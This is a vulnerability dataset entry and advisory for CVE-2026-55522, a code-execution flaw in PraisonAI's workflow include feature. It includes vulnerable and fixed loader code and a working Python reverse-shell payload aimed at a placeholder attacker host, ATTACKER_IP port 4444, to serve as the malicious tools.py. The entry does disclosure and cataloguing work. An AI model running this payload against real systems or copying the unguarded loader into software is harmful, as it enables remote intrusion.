CVE-2026-55522

PraisonAI's workflow include feature allows for arbitrary code execution.

• CVSS 7.8
• 94
• Design Defects
• Local

PraisonAI is a multi-agent teams system. In versions 3.9.26 through 4.6.57 of praiseonai and 0.12.12 through 1.6.57 of praiseonaiagents, the workflow "include" feature is vulnerable to code execution. Workflow._execute_include() implicitly imports and runs an included recipe's tools.py via a raw importlib.util.spec_from_file_location() and spec.loader.exec_module() call, without honoring the PRAISONAI_ALLOW_TEMPLATE_TOOLS/PRAISONAI_ALLOW_LOCAL_TOOLS autoload opt-in gates or routing through the centralized safe loader that protects the other tools.py autoload paths. As a result, a workflow that includes an attacker-controlled local recipe directory executes arbitrary module-level Python code during include setup, before any child workflow parsing or model call, and the same sink is reachable through the higher-level praisonai.recipe.run() recipe API. An attacker who can cause a victim process to run a workflow or recipe that includes an untrusted local recipe achieves arbitrary Python code execution as the PraisonAI process user, a variant that bypasses the hardening applied to the previously disclosed automatic tools.py RCE advisory family. This issue has been fixed in version 4.6.58 of praisonai and 1.6.58 of praisonaiagents.

CVE

CVE-2026-55522

CWE

94

CVSS base score

7.8

Published

2026-08-05

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Design Defects

Subcategory

Local File Inclusion (LFI)

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

praiseonai a

Fixed by upgrading

Yes

Solution

Upgrade `praiseonai` to version 4.6.58 and `praiseonaiagents` to version 1.6.58.

import os
import importlib.util

class Workflow:
    def __init__(self, base_path: str = "."):
        self.base_path = base_path

    def _centralized_safe_loader(self, path: str, module_name: str):
        """Centralized loader that protects other autoload paths."""
        allow_local = os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "false").lower() == "true"
        if not allow_local:
            return

        spec = importlib.util.spec_from_file_location(module_name, path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            # ... process tools safely

    def _execute_include(self, recipe_name: str) -> None:
        """Loads tools from an included recipe."""
        recipe_path = os.path.join(self.base_path, recipe_name)
        tools_path = os.path.join(recipe_path, "tools.py")

        if not os.path.exists(tools_path):
            return

        module_name = f"praisonai.recipes.{recipe_name}.tools"
        # VULNERABLE: Bypasses the centralized safe loader and directly executes module code.
        spec = importlib.util.spec_from_file_location(module_name, tools_path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)

import os
import importlib.util

class Workflow:
    def __init__(self, base_path: str = "."):
        self.base_path = base_path

    def _centralized_safe_loader(self, path: str, module_name: str):
        """Centralized loader that protects other autoload paths."""
        allow_local = os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "false").lower() == "true"
        if not allow_local:
            return

        spec = importlib.util.spec_from_file_location(module_name, path)
        if spec and spec.loader:
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            # ... process tools safely

    def _execute_include(self, recipe_name: str) -> None:
        """Loads tools from an included recipe."""
        recipe_path = os.path.join(self.base_path, recipe_name)
        tools_path = os.path.join(recipe_path, "tools.py")

        if not os.path.exists(tools_path):
            return

        module_name = f"praisonai.recipes.{recipe_name}.tools"
        # FIX: Routes tool loading through the centralized safe loader, honoring security flags.
        self._centralized_safe_loader(tools_path, module_name)

import os
import pty
import socket

lhost = "ATTACKER_IP"  # Attacker's listening IP
lport = 4444           # Attacker's listening port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
s.close()

@misc{vaitp:cve202655522,
  title        = {{PraisonAI's workflow include feature allows for arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-55522},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55522/}}
}